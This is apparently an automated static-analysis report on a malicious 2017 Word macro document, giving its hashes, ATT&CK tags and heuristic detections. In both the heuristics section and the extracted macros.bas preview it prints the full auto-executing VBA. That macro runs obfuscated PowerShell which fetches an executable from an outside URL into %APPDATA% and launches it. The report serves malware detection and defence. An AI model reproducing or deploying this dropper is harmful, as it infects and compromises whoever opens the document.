Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3fa6d36e75b416d…

MALICIOUS

Office (OLE)

29.0 KB Created: 2017-11-07 23:01:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 747c7fd93f1f35b8bd4d294171808f8e SHA-1: 9626d10f12495f69329c6cf2a21660eb60ef15d9 SHA-256: c3fa6d36e75b416d88e3f4ec7e234a609c00fbd75fb558223c98ef940727df65
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that executes a PowerShell command. This command downloads a second-stage executable from the URL 'http://tiny.cc/te9q' and saves it as '%APPDATA%\Example.exe' before executing it. The use of VBA macros and the PowerShell execution points to a common malware delivery technique.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    "
    Shell (c)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(("{1}{2}{3}{0}"-f 'oy','ht','tp://tiny.cc/te','9q'),((("{4}{3}{1}{2}{
5}{0}{6}"-f'ample.e','PPD','ATA%','A','%','{0}Ex','xe'))-F  [ChAR]92));Start-Process ((("{0}{2}{5}{4}{3}{1}" -f'%','ple.exe','APPDA','m','{0}Exa','TA%'))-F  [cHar]92)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 767 bytes
SHA-256: 0ec96ff19fb320e5773bbc840edecabbfa649342fdb3f11268da5242db9e8a18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

    Call El9LLkQY

End Sub


Sub El9LLkQY()
    Dim c As String
    c = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(("{1}{2}{3}{0}"-f 'oy','ht','tp://tiny.cc/te','9q'),((("{4}{3}{1}{2}{
5}{0}{6}"-f'ample.e','PPD','ATA%','A','%','{0}Ex','xe'))-F  [ChAR]92));Start-Process ((("{0}{2}{5}{4}{3}{1}" -f'%','ple.exe','APPDA','m','{0}Exa','TA%'))-F  [cHar]92)
"
    Shell (c)
End Sub

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